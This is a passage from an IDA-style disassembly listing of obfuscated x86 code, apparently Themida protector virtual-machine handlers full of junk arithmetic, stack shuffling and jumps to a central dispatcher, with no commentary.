		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_545BC7
; ---------------------------------------------------------------------------


loc_545D06:				; CODE XREF: Themida_:0054A109j
		xor	ebx, [esp]
		pop	esp
		mov	cx, [esp]
		jmp	loc_54D984
; ---------------------------------------------------------------------------


loc_545D13:				; CODE XREF: Themida_:0054E271j
		xor	edi, 2846541Ch
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_548410
; ---------------------------------------------------------------------------


loc_545D2F:				; CODE XREF: Themida_:0054AF99j
		pop	edx
		sub	ecx, 1
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54817B
; ---------------------------------------------------------------------------


loc_545D41:				; CODE XREF: Themida_:0054EE5Dj
		mov	ebp, 5DCB539Bh
		inc	ebp
		not	ebp
		not	ebp
		add	ebp, 56EC5B5Fh
		sub	ebp, 0B4B7AEF7h
		jmp	loc_54FD5A
; ---------------------------------------------------------------------------


loc_545D5C:				; CODE XREF: Themida_:005491C8j
		push	cx
		pop	si
		pop	cx
		push	bp
		push	si
		mov	bp, [esp]
		add	esp, 2
		pop	si
		push	esi
		jmp	loc_54E8B3
; ---------------------------------------------------------------------------


loc_545D78:				; CODE XREF: Themida_:00548B68j
		pop	edi
		jmp	loc_54F94B
; ---------------------------------------------------------------------------


loc_545D7E:				; CODE XREF: Themida_:005486D1j
		mov	bh, 66h
		sub	al, bh
		pop	ebx
		push	ecx
		jmp	loc_546D22
; ---------------------------------------------------------------------------


loc_545D89:				; CODE XREF: Themida_:0054A851j
		add	esp, 4
		sub	dword ptr [esp], 2667723Ah
		add	dword ptr [esp], 530C57EEh
		sub	[esp], eax
		sub	esp, 4
		jmp	loc_5460CA
; ---------------------------------------------------------------------------


loc_545DAB:				; CODE XREF: Themida_:0054A272j
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, ecx
		pop	ecx
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_545DC9:				; CODE XREF: Themida_:00544AC0j
		push	ecx
		mov	ecx, 2
		add	esi, ecx
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_54D657
; ---------------------------------------------------------------------------


loc_545DDA:				; CODE XREF: Themida_:005445E5j
		sub	edx, 63567BAEh
		add	edx, ebx
		jmp	loc_54B7B9
; ---------------------------------------------------------------------------


loc_545DE7:				; CODE XREF: Themida_:0054F946j
		sub	dl, 96h
		xor	ch, dl
		jmp	loc_544222
; ---------------------------------------------------------------------------


loc_545DF1:				; CODE XREF: Themida_:00544F27j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54A17A
; ---------------------------------------------------------------------------


loc_545DFF:				; CODE XREF: Themida_:0054B664j
		shr	ecx, 6
		push	edx
		mov	edx, 3DDDD7B7h
		xor	ecx, edx
		jmp	loc_546A6C
; ---------------------------------------------------------------------------


loc_545E0F:				; CODE XREF: Themida_:005498A4j
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	edx, [esp]
		pop	esp
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_545E43:				; CODE XREF: Themida_:00549EC5j
		add	esp, 4
		or	eax, eax
		jmp	loc_549648
; ---------------------------------------------------------------------------


loc_545E50:				; CODE XREF: Themida_:005468D2j
		mov	ecx, 13EF091Dh
		mov	eax, 13EF0919h
		xor	eax, ecx
		pop	ecx
		add	ecx, 5891135h
		add	ecx, eax
		sub	ecx, 5891135h
		jmp	loc_547769
; ---------------------------------------------------------------------------


loc_545E70:				; CODE XREF: Themida_:0054DBD2j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_549518
; ---------------------------------------------------------------------------


loc_545E85:				; CODE XREF: Themida_:00544438j
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 62FA6E1Eh
		jmp	loc_549A44
; ---------------------------------------------------------------------------


loc_545E9B:				; CODE XREF: Themida_:00545B3Aj
		add	esi, ebx
		pop	ebx
		push	4678h
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_54AD39
; ---------------------------------------------------------------------------


loc_545EB0:				; CODE XREF: Themida_:0054D549j
		shr	ecx, 6
		push	ebx
		mov	ebx, 53E8AECBh
		xor	ecx, ebx
		pop	ebx
		mov	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 7EE875C9h
		jmp	loc_54933C
; ---------------------------------------------------------------------------


loc_545ECA:				; CODE XREF: Themida_:0054EB54j
		add	ebp, 4
		jmp	loc_548EC8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		push	7489h
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, 0F8769FEh
		sub	eax, 16DF1892h
		add	eax, ebp
		jmp	loc_5443FE
; ---------------------------------------------------------------------------


loc_545EFA:				; CODE XREF: Themida_:0054625Cj
		pop	eax
		sub	edi, 11A01647h
		push	esi
		jmp	loc_5480E8
; ---------------------------------------------------------------------------


loc_545F07:				; CODE XREF: Themida_:005497EFj
		mov	edx, esp
		jmp	loc_548ABA
; ---------------------------------------------------------------------------


loc_545F0E:				; CODE XREF: Themida_:0054AAFFj
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_54C3F0
; ---------------------------------------------------------------------------


loc_545F1C:				; CODE XREF: Themida_:0054AD97j
		xor	eax, [esp]
		pop	esp
		mov	cx, [esp]
		jmp	loc_548390
; ---------------------------------------------------------------------------


loc_545F29:				; CODE XREF: Themida_:0054CDA1j
		push	ebp
		jmp	loc_545727
; ---------------------------------------------------------------------------


loc_545F2F:				; CODE XREF: Themida_:0054CBC3j
		pop	edx
		pop	ebx
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	cx, 3
		add	cx, 34FDh
		xor	cx, 0F432h
		xor	ax, cx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	bp, 5B36h
		jmp	loc_545052
; ---------------------------------------------------------------------------


loc_545F79:				; CODE XREF: Themida_:00547C3Bj
		mov	ebp, ebx
		push	4EC0h
		mov	[esp], ebp
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_54DB00
; ---------------------------------------------------------------------------


loc_545FA9:				; CODE XREF: Themida_:0054E5CBj
		pop	edx
		jmp	loc_54CF04
; ---------------------------------------------------------------------------


loc_545FAF:				; CODE XREF: Themida_:0054D638j
		push	esi
		mov	esi, 9407B2Bh
		push	3CA0h
		mov	[esp], ebx
		mov	ebx, 47D622ADh
		or	ebx, 74084694h
		sub	ebx, 141114D2h
		not	ebx
		sub	ebx, 1
		push	esi
		mov	esi, 4D4943BBh
		jmp	loc_548DD5
; ---------------------------------------------------------------------------


loc_545FDE:				; CODE XREF: Themida_:00547CB5j
		push	eax
		jmp	loc_548F3F
; ---------------------------------------------------------------------------


loc_545FE4:				; CODE XREF: Themida_:0054AB0Dj
		mov	ah, 9
		mov	bl, 40h
		xor	bl, ah
		pop	eax
		add	cl, bl
		mov	ebx, [esp]
		add	esp, 4
		add	al, 9
		jmp	loc_546468
; ---------------------------------------------------------------------------


loc_545FFD:				; CODE XREF: Themida_:0054A710j
		pop	ebx
		jmp	loc_54D08B
; ---------------------------------------------------------------------------


loc_546003:				; CODE XREF: Themida_:0054E85Cj
		mov	ebx, [esp]
		jmp	loc_54CB67
; ---------------------------------------------------------------------------


loc_54600B:				; CODE XREF: Themida_:0054CD66j
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54DF83
; ---------------------------------------------------------------------------


loc_546017:				; CODE XREF: Themida_:00547A5Dj
		mov	[esp], ecx
		push	2
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	0FD2h
		mov	[esp], eax
		push	ebp
		push	687F1463h
		pop	ebp
		shr	ebp, 1
		inc	ebp
		add	ebp, 60E7CD8h
		xor	ebp, 3A4E070Eh
		mov	eax, ebp
		pop	ebp
		jmp	loc_544203
; ---------------------------------------------------------------------------


loc_546059:				; CODE XREF: Themida_:0054F015j
		sub	eax, 0F971E98h
		push	ecx
		mov	ecx, 4D502888h
		or	ecx, 40E5E0Dh
		shr	ecx, 7
		add	ecx, 6A54B92Ah
		add	eax, ecx
		pop	ecx
		pop	ecx
		add	eax, 2
		jmp	loc_54FE49
; ---------------------------------------------------------------------------


loc_54607F:				; CODE XREF: Themida_:0054CA06j
		pop	eax
		sub	edi, 4
		jmp	loc_54D3FE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_549689
; ---------------------------------------------------------------------------


loc_546094:				; CODE XREF: Themida_:005470D4j
		sub	ecx, 7FB22AB4h
		xor	ebp, ecx
		pop	ecx
		shl	ebp, 4
		not	ebp
		jmp	loc_54D22B
; ---------------------------------------------------------------------------


loc_5460A7:				; CODE XREF: Themida_:0054511Ej
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54BF8D
; ---------------------------------------------------------------------------


loc_5460CA:				; CODE XREF: Themida_:00545DA6j
		mov	[esp], ebx
		mov	ebx, 26625951h
		add	ebx, 365F2945h
		and	ebx, 0B1C1944h
		not	ebx
		sub	ebx, 25BC4B13h
		xor	ebx, 814FE306h
		sub	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	2E69h
		mov	[esp], ebp
		jmp	loc_5489B4
; ---------------------------------------------------------------------------


loc_546103:				; CODE XREF: Themida_:005441FEj
		mov	ecx, 6FF541A0h
		not	ecx
		not	ecx
		neg	ecx
		xor	ecx, 0DF508EC3h
		jmp	loc_54F8E2
; ---------------------------------------------------------------------------
		lodsw
		add	ax, 71DBh
		push	esi
		mov	si, 2751h
		inc	si
		xor	si, 3389h
		sub	si, 2285h
		xor	si, 0A6CEh
		add	ax, si
		pop	esi
		add	ax, 5C1Dh
		add	ax, bx
		jmp	loc_549B06
; ---------------------------------------------------------------------------


loc_546145:				; CODE XREF: Themida_:00547AFEj
		mov	esi, 4A918D08h
		xor	edx, esi
		pop	esi
		add	ebx, edx
		pop	edx
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_547C10
; ---------------------------------------------------------------------------


loc_54615D:				; CODE XREF: Themida_:0054F38Dj
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebx, 4BE65EC2h
		add	ebx, ecx
		add	ebx, 4BE65EC2h
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54FE80
; ---------------------------------------------------------------------------


loc_546182:				; CODE XREF: Themida_:00547B28j
		push	4
		jmp	loc_546F50
; ---------------------------------------------------------------------------


loc_54618C:				; CODE XREF: Themida_:00546FF9j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_54B0A4
; ---------------------------------------------------------------------------


loc_5461A1:				; CODE XREF: Themida_:0054E82Ej
		pop	ecx
		add	eax, edi
		sub	eax, 1CB270F3h
		jmp	loc_549A6A
; ---------------------------------------------------------------------------


loc_5461AE:				; CODE XREF: Themida_:0054F859j
		push	ebx
		mov	bh, ah
		jmp	loc_54C538
; ---------------------------------------------------------------------------


loc_5461B6:				; CODE XREF: Themida_:0054CE71j
		mov	ax, [esp]
		push	ecx
		push	0D57h
		sub	esp, 4
		jmp	loc_54F64F
; ---------------------------------------------------------------------------


loc_5461C8:				; CODE XREF: Themida_:0054F4CDj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		and	eax, edx
		jmp	loc_54BE19
; ---------------------------------------------------------------------------


loc_5461E3:				; CODE XREF: Themida_:0054F30Dj
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5492D7
; ---------------------------------------------------------------------------


loc_5461F6:				; CODE XREF: Themida_:0054B2AFj
		add	edx, 4C7F305Dh
		jmp	loc_549B87
; ---------------------------------------------------------------------------


loc_546201:				; CODE XREF: Themida_:0054F97Dj
		mov	eax, 61434940h
		sub	ecx, eax
		mov	eax, [esp]
		jmp	loc_547DF1
; ---------------------------------------------------------------------------


loc_546210:				; CODE XREF: Themida_:0054FE86j
		xchg	eax, esi
		push	esi
		push	273Dh
		mov	[esp], ebp
		mov	ebp, 5E4513DEh
		add	ebp, 67C0096Dh
		jmp	loc_546655
; ---------------------------------------------------------------------------


loc_54622A:				; CODE XREF: Themida_:0054C4ACj
		mov	eax, [esp]
		jmp	loc_5464C1
; ---------------------------------------------------------------------------


loc_546232:				; CODE XREF: Themida_:0054B69Aj
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 5ED05F50h
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		jmp	loc_54A20C
; ---------------------------------------------------------------------------


loc_54624F:				; CODE XREF: Themida_:005452D6j
		push	eax
		mov	eax, 4B3213F3h
		sub	eax, 0CC3EE9D8h
		mov	edi, eax
		jmp	loc_545EFA
; ---------------------------------------------------------------------------


loc_546261:				; CODE XREF: Themida_:00546F82j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5475A8
; ---------------------------------------------------------------------------


loc_546271:				; CODE XREF: Themida_:005442E1j
		push	dword ptr [esp]
		jmp	loc_54BD8F
; ---------------------------------------------------------------------------


loc_546279:				; CODE XREF: Themida_:0054632Cj
		push	dword ptr [eax]
		pop	ecx
		jmp	loc_550090
; ---------------------------------------------------------------------------


loc_546281:				; CODE XREF: Themida_:005498BDj
		pop	edi
		jmp	loc_54D54E
; ---------------------------------------------------------------------------


loc_546287:				; CODE XREF: Themida_:0054C789j
		pop	edi
		pop	eax
		jmp	loc_54C845
; ---------------------------------------------------------------------------


loc_54628E:				; CODE XREF: Themida_:0054FA49j
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	esi
		pop	ebx
		push	ebx
		pop	edi
		pop	ebx
		jmp	loc_54E4F4
; ---------------------------------------------------------------------------


loc_5462A4:				; CODE XREF: Themida_:0054A23Fj
		push	eax
		push	esp
		pop	eax
		push	6936h
		mov	[esp], ecx
		mov	ecx, 4
		push	edx
		mov	edx, 171013FEh
		dec	edx
		shl	edx, 7
		shl	edx, 8
		neg	edx
		sub	edx, 59E04B14h
		sub	edx, 3131BEC5h
		add	eax, 4DCC3CA1h
		sub	eax, edx
		push	ebp
		mov	ebp, 4DCC3CA1h
		sub	eax, ebp
		pop	ebp
		pop	edx
		jmp	loc_54F00E
; ---------------------------------------------------------------------------


loc_5462E5:				; CODE XREF: Themida_:0054561Fj
		mov	[esp], ecx
		jmp	loc_54B3EC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2F5Bh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		jmp	loc_549935
; ---------------------------------------------------------------------------


loc_54630A:				; CODE XREF: Themida_:00546C6Aj
		mov	[esp], ebx
		jmp	loc_54866B
; ---------------------------------------------------------------------------


loc_546312:				; CODE XREF: Themida_:00544043j
		inc	edx
		jmp	loc_54E724
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_5464BB
; ---------------------------------------------------------------------------


loc_54632B:				; CODE XREF: Themida_:0054E168j
		pop	edi
		jmp	loc_546279
; ---------------------------------------------------------------------------


loc_546331:				; CODE XREF: Themida_:00546546j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_546336:				; CODE XREF: Themida_:0054BFD7j
		xchg	ebx, [esp]
		pop	esp
		push	edi
		push	800000h
		jmp	loc_54E18C
; ---------------------------------------------------------------------------


loc_546345:				; CODE XREF: Themida_:0054D390j
		add	ebx, ebp
		sub	ebx, 3602F82h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54635B:				; CODE XREF: Themida_:00548BBFj
		pop	ebx
		add	eax, ebp
		add	eax, 6AA1197h
		pop	ebp
		push	edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		pop	ebp
		add	eax, edx
		pop	edx
		jmp	loc_545CC1
; ---------------------------------------------------------------------------


loc_546376:				; CODE XREF: Themida_:0054994Aj
		add	[esp+4], esi
		push	ebx
		mov	ebx, 250A3EEFh
		add	[esp+8], ebx
		jmp	loc_549BA9
; ---------------------------------------------------------------------------


loc_546389:				; CODE XREF: Themida_:0054A00Aj
		mov	edx, [esp]
		add	esp, 4
		push	cx
		jmp	loc_546C6F
; ---------------------------------------------------------------------------


loc_546396:				; CODE XREF: Themida_:00546EA3j
					; Themida_:00548BF6j
		push	86Dh
		mov	[esp], ecx
		mov	ecx, ebx
		push	edx
		jmp	loc_546BFB
; ---------------------------------------------------------------------------


loc_5463A6:				; CODE XREF: Themida_:0054853Aj
		pop	esp
		push	5E5h
		jmp	loc_54879C
; ---------------------------------------------------------------------------


loc_5463B1:				; CODE XREF: Themida_:0054982Dj
		sub	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 19AE2CEFh
		add	[esp+4], ebp
		push	dword ptr [esp]
		jmp	loc_54DEF8
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0A3h
		sub	al, 33h
		add	al, bl
		push	edx
		jmp	loc_547633
; ---------------------------------------------------------------------------


loc_5463DD:				; CODE XREF: Themida_:0054C104j
		xor	al, 5Ch
		sub	bl, 3Bh
		add	bl, al
		add	bl, 3Bh
		jmp	loc_54A63C
; ---------------------------------------------------------------------------


loc_5463EC:				; CODE XREF: Themida_:00549EABj
		sub	ebp, 8BA6A225h
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_548018
; ---------------------------------------------------------------------------


loc_54640A:				; CODE XREF: Themida_:0054C86Aj
		push	esp
		pop	edi
		push	esi
		jmp	loc_5499DD
; ---------------------------------------------------------------------------


loc_546412:				; CODE XREF: Themida_:0054658Fj
		sub	ebx, 67B46CB1h
		add	ebx, ecx
		jmp	loc_54837F
; ---------------------------------------------------------------------------


loc_54641F:				; CODE XREF: Themida_:00549C11j
		pop	eax
		jmp	loc_54AEC7
; ---------------------------------------------------------------------------


loc_546425:				; CODE XREF: Themida_:0054BAAAj
		xor	edx, 44206C8h
		sub	esi, edx
		pop	edx
		add	eax, 43D2238Bh
		add	eax, esi
		sub	eax, 43D2238Bh
		mov	esi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_549666
; ---------------------------------------------------------------------------


loc_546457:				; CODE XREF: Themida_:005483C8j
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_54CFAA
; ---------------------------------------------------------------------------


loc_546468:				; CODE XREF: Themida_:00545FF8j
		sub	al, 10h
		sub	al, cl
		add	al, 10h
		push	edx
		jmp	loc_54549F
; ---------------------------------------------------------------------------


loc_546474:				; CODE XREF: Themida_:005492BDj
		push	eax
		mov	eax, 1E697C8Bh
		add	eax, 668E70A5h
		jmp	loc_54A2B3
; ---------------------------------------------------------------------------


loc_546484:				; CODE XREF: Themida_:00544428j
		mov	bl, dl
		jmp	loc_54A904
; ---------------------------------------------------------------------------


loc_54648B:				; CODE XREF: Themida_:00544982j
		add	eax, ebp
		pop	ebp
		add	eax, 39280DA5h
		jmp	loc_54E977
; ---------------------------------------------------------------------------


loc_546498:				; CODE XREF: Themida_:0054B63Ej
		pop	edi
		jmp	loc_54AAC9
; ---------------------------------------------------------------------------


loc_54649E:				; CODE XREF: Themida_:0054A0C1j
		sub	al, bl
		push	ebx
		mov	bl, 4
		dec	bl
		dec	bl
		jmp	loc_546F60
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5464BB:				; CODE XREF: Themida_:00546326j
		pop	esi
		jmp	loc_54F0EE
; ---------------------------------------------------------------------------


loc_5464C1:				; CODE XREF: Themida_:0054622Dj
		push	2DFh
		jmp	loc_54EEC4
; ---------------------------------------------------------------------------


loc_5464CB:				; CODE XREF: Themida_:0054CD82j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_548B38
; ---------------------------------------------------------------------------


loc_5464D4:				; CODE XREF: Themida_:00547CAEj
		cmp	ecx, eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		push	ebp
		push	0FEh
		pop	ebp
		and	[edi+1Ch], ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_54965E
; ---------------------------------------------------------------------------


loc_5464EF:				; CODE XREF: Themida_:0054A134j
		pop	ecx
		jmp	loc_54E938
; ---------------------------------------------------------------------------


loc_5464F5:				; CODE XREF: Themida_:00549381j
		push	eax
		sub	esp, 4
		jmp	loc_548FBD
; ---------------------------------------------------------------------------


loc_546501:				; CODE XREF: Themida_:0054F757j
		sub	al, 65h
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_54A402
; ---------------------------------------------------------------------------


loc_54650F:				; CODE XREF: Themida_:00548D9Fj
		inc	cl
		push	ebx
		mov	bl, 0C4h
		or	bl, 93h
		or	bl, 57h
		jmp	loc_54DA91
; ---------------------------------------------------------------------------


loc_54651F:				; CODE XREF: Themida_:0054B50Cj
		mov	bh, 0B8h
		jmp	loc_54939E
; ---------------------------------------------------------------------------


loc_546526:				; CODE XREF: Themida_:0054938Ej
		sub	ecx, 4FE2407Ah
		jmp	loc_54A918
; ---------------------------------------------------------------------------


loc_546531:				; CODE XREF: Themida_:0054EAC5j
		shl	ebp, 2
		jmp	loc_544414
; ---------------------------------------------------------------------------


loc_546539:				; CODE XREF: Themida_:0054FAC1j
		xor	si, bp
		jmp	loc_549121
; ---------------------------------------------------------------------------


loc_546541:				; CODE XREF: Themida_:0054D7CCj
		add	[esp], ax
		pushf
		jmp	loc_546331
; ---------------------------------------------------------------------------


loc_54654B:				; CODE XREF: Themida_:00547472j
		push	esi
		mov	esi, 1BEB2D57h
		xor	esi, 3857C6h
		dec	esi
		push	ebp
		jmp	loc_54BBB1
; ---------------------------------------------------------------------------


loc_54655E:				; CODE XREF: Themida_:0054F58Cj
		mov	esi, ebx
		push	ebx
		jmp	loc_5483B3
; ---------------------------------------------------------------------------


loc_546566:				; CODE XREF: Themida_:0054FDBAj
		add	esp, 4
		not	edi
		xchg	edi, ebx
		xor	ecx, ebx
		jmp	loc_54F190
; ---------------------------------------------------------------------------


loc_546574:				; CODE XREF: Themida_:0054E5EAj
		pop	esp
		jmp	loc_54556B
; ---------------------------------------------------------------------------


loc_54657A:				; CODE XREF: Themida_:005496DEj
		xchg	edi, edx
		neg	edx
		inc	edx
		shl	edx, 5
		push	ecx
		mov	ecx, 6BF746Dh
		push	edx
		jmp	loc_54D3E1
; ---------------------------------------------------------------------------


loc_54658E:				; CODE XREF: Themida_:0054A2C9j
		pop	ecx
		jmp	loc_546412
; ---------------------------------------------------------------------------


loc_546594:				; CODE XREF: Themida_:0054CFE5j
		push	7A00h
		mov	[esp], ebp
		jmp	loc_54FBCB
; ---------------------------------------------------------------------------


loc_5465A1:				; CODE XREF: Themida_:0054989Bj
		xor	edx, 63DD3AE9h
		add	esi, 66587CF3h
		jmp	loc_54DBFD
; ---------------------------------------------------------------------------


loc_5465B2:				; CODE XREF: Themida_:00547E0Dj
		add	edi, 4396E663h
		or	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	edx, 20562E34h
		or	edx, 375A218Fh
		add	edx, 0C8A1D275h
		jmp	loc_54BCAC
; ---------------------------------------------------------------------------


loc_5465DA:				; CODE XREF: Themida_:0054DD7Cj
		push	18CDh
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 3B483830h
		jmp	loc_54BECF
; ---------------------------------------------------------------------------


loc_5465EF:				; CODE XREF: Themida_:00549DC2j
		mov	ebx, 2A16E21Eh
		xor	esi, ebx
		pop	ebx
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, eax
		pop	eax
		push	ecx
		jmp	loc_5454D7
; ---------------------------------------------------------------------------


loc_54660B:				; CODE XREF: Themida_:0054896Bj
		pop	edx
		pop	edi
		jmp	loc_545A30
; ---------------------------------------------------------------------------


loc_546612:				; CODE XREF: Themida_:0054E8AEj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	50A4h
		mov	[esp], ebp
		mov	ebp, 133F539Eh
		dec	ebp
		add	ebp, 0ECC0AC67h
		add	ecx, 42811279h
		add	ecx, ebp
		sub	ecx, 42811279h
		mov	ebp, [esp]
		jmp	loc_54F46E
; ---------------------------------------------------------------------------


loc_54664C:				; CODE XREF: Themida_:00547B19j
		push	small 5BDCh
		jmp	loc_54AAE9
; ---------------------------------------------------------------------------


loc_546655:				; CODE XREF: Themida_:00546225j
		shr	ebp, 4
		jmp	loc_54F9F1
; ---------------------------------------------------------------------------


loc_54665D:				; CODE XREF: Themida_:0054B604j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54BDEB
; ---------------------------------------------------------------------------


loc_546669:				; CODE XREF: Themida_:0054592Aj
		sub	ebx, 49A871E8h
		push	eax
		jmp	loc_54E0F6
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54667D:				; CODE XREF: Themida_:0054AD0Ej
		push	edi
		push	ebp
		mov	ebp, 2
		mov	edi, ebp
		pop	ebp
		add	ecx, edi
		pop	edi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54966E
; ---------------------------------------------------------------------------


loc_546699:				; CODE XREF: Themida_:00546D4Cj
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	eax, 10h
		jmp	loc_545827
; ---------------------------------------------------------------------------


loc_5466B4:				; CODE XREF: Themida_:0054A799j
		shl	eax, 8
		push	ebp
		mov	ebp, 74300597h
		shl	ebp, 2
		xor	ebp, 45D02CF0h
		add	ebp, 623A3741h
		jmp	loc_5444F2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5B4Dh
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_54EE06
; ---------------------------------------------------------------------------


loc_5466E6:				; CODE XREF: Themida_:0054A63Dj
		sub	bl, 0ADh
		push	ecx
		push	eax
		mov	al, bl
		mov	cl, al
		jmp	loc_54A9A7
; ---------------------------------------------------------------------------


loc_5466F4:				; CODE XREF: Themida_:0054C9CEj
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	[esp+4], esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 1650194Eh
		jmp	loc_54BD45
; ---------------------------------------------------------------------------


loc_546731:				; CODE XREF: Themida_:0054574Dj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	cx, al
		push	small 5A1Dh
		mov	[esp], cx
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54674E:				; CODE XREF: Themida_:00544AC6j
		mov	ebx, esp
		push	4CFEh
		jmp	loc_54A2C1
; ---------------------------------------------------------------------------


loc_54675A:				; CODE XREF: Themida_:0054AC93j
		push	ebp
		mov	ebp, 55DD0E93h
		jmp	loc_54C7FC
; ---------------------------------------------------------------------------


loc_546765:				; CODE XREF: Themida_:0054B0F6j
		dec	edx
		push	ebx
		mov	ebx, 1599746Ch
		shr	ebx, 1
		shl	ebx, 1
		inc	ebx
		or	ebx, 60C07503h
		xor	ebx, 55D03C04h
		jmp	loc_544A9F
; ---------------------------------------------------------------------------


loc_546782:				; CODE XREF: Themida_:0054C096j
		pop	edx
		add	esp, 4
		push	778Dh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		div	ecx
		push	6D26h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_54816E
; ---------------------------------------------------------------------------


loc_5467D4:				; CODE XREF: Themida_:005453A9j
